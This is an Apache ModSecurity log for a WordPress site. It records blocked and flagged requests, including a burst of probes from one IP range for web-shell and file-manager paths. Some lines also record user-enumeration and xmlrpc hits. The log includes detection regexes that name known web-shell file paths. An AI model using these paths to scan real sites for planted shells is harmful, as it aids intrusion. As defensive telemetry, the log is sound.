[Wed Apr 22 17:24:27.354929 2026] [:error] [pid 9085:tid 9102] [client 103.5.134.18:65218] [client 103.5.134.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.5.134.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeiTy9-_-or9vQnlWnrhIgAAAU8"]
[Wed Apr 22 17:25:16.576158 2026] [:error] [pid 6252:tid 6313] [client 103.5.134.18:49853] [client 103.5.134.18] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aeiT_OtGYuiYb1nWBpQeugAAAQE"]
[Wed Apr 22 17:25:41.627804 2026] [:error] [pid 6251:tid 6305] [client 103.5.134.18:50378] [client 103.5.134.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.5.134.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeiUFSsFAzbyObL-SQ5TsAAAAJQ"]
[Wed Apr 22 19:02:27.562864 2026] [:error] [pid 9085:tid 9103] [client 182.44.9.147:42559] [client 182.44.9.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeiqw9-_-or9vQnlWnomOAAAAVA"]
[Wed Apr 22 20:51:33.910196 2026] [:error] [pid 6250:tid 6264] [client 170.106.161.78:45622] [client 170.106.161.78] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aejEVQ-iZeQkqmQVfj4M3AAAAEo"]
[Wed Apr 22 20:54:17.864446 2026] [:error] [pid 6252:tid 6326] [client 45.86.202.35:25443] [client 45.86.202.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aejE-etGYuiYb1nWBpRObwAAAQ4"]
[Wed Apr 22 20:54:23.319050 2026] [:error] [pid 6384:tid 6390] [client 45.86.202.34:23153] [client 45.86.202.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aejE_z58M3t15ICeWHU4mgAAAMM"]
[Wed Apr 22 20:54:32.887423 2026] [:error] [pid 9085:tid 9111] [client 45.86.202.19:24675] [client 45.86.202.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tinyfilemanager.php"] [unique_id "aejFCN-_-or9vQnlWnpsmQAAAVg"]
[Wed Apr 22 20:54:38.608766 2026] [:error] [pid 9085:tid 9109] [client 45.86.202.27:46535] [client 45.86.202.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/index.php"] [unique_id "aejFDt-_-or9vQnlWnpsrgAAAVY"]
[Wed Apr 22 20:54:47.671397 2026] [:error] [pid 6344:tid 6373] [client 45.86.202.13:40917] [client 45.86.202.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aejFF0DOTF-pkQnDeUnwhgAAABg"]
[Wed Apr 22 20:54:50.949333 2026] [:error] [pid 6252:tid 6336] [client 45.86.202.45:51679] [client 45.86.202.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aejFGutGYuiYb1nWBpROkAAAARg"]
[Wed Apr 22 20:54:51.972951 2026] [:error] [pid 9085:tid 9099] [client 45.86.202.17:32083] [client 45.86.202.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aejFG9-_-or9vQnlWnps0QAAAUw"]
[Wed Apr 22 20:54:53.046156 2026] [:error] [pid 6384:tid 6395] [client 45.86.202.26:39529] [client 45.86.202.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aejFHT58M3t15ICeWHU5CwAAAMg"]
[Wed Apr 22 20:54:54.109887 2026] [:error] [pid 6384:tid 6399] [client 45.86.202.27:34879] [client 45.86.202.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aejFHj58M3t15ICeWHU5EgAAAMw"]
[Wed Apr 22 20:54:55.023792 2026] [:error] [pid 9085:tid 9097] [client 45.86.202.3:40729] [client 45.86.202.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aejFH9-_-or9vQnlWnps3gAAAUo"]
[Wed Apr 22 20:54:57.296960 2026] [:error] [pid 9085:tid 9107] [client 45.86.202.49:41519] [client 45.86.202.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aejFId-_-or9vQnlWnps5gAAAVQ"]
[Wed Apr 22 20:55:00.721169 2026] [:error] [pid 23776:tid 23782] [client 45.86.202.34:31035] [client 45.86.202.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/filemanager.php"] [unique_id "aejFJLRExf-1pAbSeJvwUwAAAYQ"]
[Wed Apr 22 20:55:04.648007 2026] [:error] [pid 6384:tid 6387] [client 45.86.202.38:34395] [client 45.86.202.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aejFKD58M3t15ICeWHU5NQAAAMA"]
[Wed Apr 22 20:55:06.485624 2026] [:error] [pid 6344:tid 6352] [client 45.86.202.5:53915] [client 45.86.202.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aejFKkDOTF-pkQnDeUnwlwAAAAM"]
[Wed Apr 22 20:55:08.847719 2026] [:error] [pid 6384:tid 6407] [client 45.86.202.219:56693] [client 45.86.202.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aejFLD58M3t15ICeWHU5TQAAANQ"]
[Wed Apr 22 20:55:18.142573 2026] [:error] [pid 9085:tid 9105] [client 45.86.202.43:30863] [client 45.86.202.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aejFNt-_-or9vQnlWnptNgAAAVI"]
[Wed Apr 22 20:55:21.224450 2026] [:error] [pid 6344:tid 6372] [client 45.86.202.18:24821] [client 45.86.202.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aejFOUDOTF-pkQnDeUnwqgAAABc"]
[Wed Apr 22 20:55:25.287585 2026] [:error] [pid 23776:tid 23782] [client 45.86.202.219:64153] [client 45.86.202.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/defaults.php"] [unique_id "aejFPbRExf-1pAbSeJvwhAAAAYQ"]
[Wed Apr 22 20:55:28.205661 2026] [:error] [pid 6252:tid 6321] [client 45.86.202.20:37259] [client 45.86.202.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/index.php"] [unique_id "aejFQOtGYuiYb1nWBpROrQAAAQk"]
[Wed Apr 22 20:55:34.781498 2026] [:error] [pid 9085:tid 9098] [client 45.86.202.28:40083] [client 45.86.202.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aejFRt-_-or9vQnlWnptXQAAAUs"]
[Wed Apr 22 20:55:37.703337 2026] [:error] [pid 9085:tid 9109] [client 45.86.202.20:26135] [client 45.86.202.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aejFSd-_-or9vQnlWnptdAAAAVY"]
[Wed Apr 22 20:55:40.577169 2026] [:error] [pid 9085:tid 9094] [client 45.86.202.47:45391] [client 45.86.202.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/index.php"] [unique_id "aejFTN-_-or9vQnlWnpthwAAAUc"]
[Wed Apr 22 20:55:41.733654 2026] [:error] [pid 9085:tid 9098] [client 45.86.202.43:61197] [client 45.86.202.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aejFTd-_-or9vQnlWnptjwAAAUs"]
[Wed Apr 22 20:55:42.805773 2026] [:error] [pid 9085:tid 9111] [client 45.86.202.41:29911] [client 45.86.202.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php"] [unique_id "aejFTt-_-or9vQnlWnptmwAAAVg"]
[Wed Apr 22 20:55:48.252663 2026] [:error] [pid 23776:tid 23795] [client 45.86.202.38:39775] [client 45.86.202.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/info.php"] [unique_id "aejFVLRExf-1pAbSeJvw4wAAAZE"]
[Wed Apr 22 20:55:49.563741 2026] [:error] [pid 6250:tid 6257] [client 45.86.202.50:27735] [client 45.86.202.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class.api.php"] [unique_id "aejFVQ-iZeQkqmQVfj4OeQAAAEM"]
[Wed Apr 22 20:55:50.631046 2026] [:error] [pid 23776:tid 23799] [client 45.86.202.218:35169] [client 45.86.202.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/index.php"] [unique_id "aejFVrRExf-1pAbSeJvw5wAAAZU"]
[Wed Apr 22 20:56:02.337321 2026] [:error] [pid 6344:tid 6363] [client 45.86.202.19:33123] [client 45.86.202.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/admin.php"] [unique_id "aejFYkDOTF-pkQnDeUnw8QAAAA4"]
[Wed Apr 22 20:56:07.519786 2026] [:error] [pid 9085:tid 9102] [client 45.86.202.17:58177] [client 45.86.202.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.17, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aejFZ9-_-or9vQnlWnpuKAAAAU8"]
[Wed Apr 22 20:56:24.973667 2026] [:error] [pid 9085:tid 9099] [client 45.86.202.17:58177] [client 45.86.202.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aejFeN-_-or9vQnlWnpucQAAAUw"]
[Wed Apr 22 20:56:28.960325 2026] [:error] [pid 23776:tid 23799] [client 45.86.202.218:60023] [client 45.86.202.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.218, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aejFfLRExf-1pAbSeJvxUQAAAZU"]
[Wed Apr 22 20:56:31.407880 2026] [:error] [pid 23776:tid 23800] [client 45.86.202.218:60023] [client 45.86.202.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/item.php"] [unique_id "aejFf7RExf-1pAbSeJvxWQAAAZY"]
[Wed Apr 22 20:56:43.172426 2026] [:error] [pid 23776:tid 23785] [client 45.86.202.21:62201] [client 45.86.202.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aejFi7RExf-1pAbSeJvxiQAAAYc"]
[Wed Apr 22 20:56:57.166324 2026] [:error] [pid 6250:tid 6268] [client 45.86.202.9:30959] [client 45.86.202.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aejFmQ-iZeQkqmQVfj4O3QAAAE4"]
[Wed Apr 22 20:57:00.798118 2026] [:error] [pid 6384:tid 6397] [client 45.86.202.26:43519] [client 45.86.202.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aejFnD58M3t15ICeWHU7hAAAAMo"]
[Wed Apr 22 20:57:06.306874 2026] [:error] [pid 6384:tid 6411] [client 45.86.202.36:51485] [client 45.86.202.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.36, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-login.php"] [unique_id "aejFoj58M3t15ICeWHU7tAAAANg"]
[Wed Apr 22 20:57:07.563913 2026] [:error] [pid 6384:tid 6390] [client 45.86.202.36:51485] [client 45.86.202.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aejFoz58M3t15ICeWHU7xAAAAMM"]
[Wed Apr 22 20:57:29.900393 2026] [:error] [pid 6384:tid 6394] [client 45.86.202.24:43033] [client 45.86.202.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aejFuT58M3t15ICeWHU8hgAAAMc"]
[Wed Apr 22 20:57:35.080230 2026] [:error] [pid 6344:tid 6363] [client 45.86.202.22:37877] [client 45.86.202.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.22, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aejFv0DOTF-pkQnDeUnxigAAAA4"]
[Wed Apr 22 20:57:40.192176 2026] [:error] [pid 6344:tid 6351] [client 45.86.202.22:37877] [client 45.86.202.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/about.php"] [unique_id "aejFxEDOTF-pkQnDeUnxkwAAAAI"]
[Wed Apr 22 20:57:42.753575 2026] [:error] [pid 23776:tid 23798] [client 45.86.202.6:24763] [client 45.86.202.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/infi.php"] [unique_id "aejFxrRExf-1pAbSeJvyBwAAAZQ"]
[Wed Apr 22 20:57:46.572412 2026] [:error] [pid 6251:tid 6285] [client 45.86.202.43:22153] [client 45.86.202.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/index.php"] [unique_id "aejFyisFAzbyObL-SQ5-rwAAAIA"]
[Wed Apr 22 20:57:51.673785 2026] [:error] [pid 23776:tid 23788] [client 45.86.202.31:43399] [client 45.86.202.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/about.php"] [unique_id "aejFz7RExf-1pAbSeJvyIQAAAYo"]
[Wed Apr 22 20:57:52.848178 2026] [:error] [pid 6251:tid 6285] [client 45.86.202.33:29325] [client 45.86.202.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/index.php"] [unique_id "aejF0CsFAzbyObL-SQ5-uAAAAIA"]
[Wed Apr 22 20:58:01.169729 2026] [:error] [pid 6251:tid 6303] [client 45.86.202.5:25987] [client 45.86.202.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aejF2SsFAzbyObL-SQ5-wwAAAJI"]
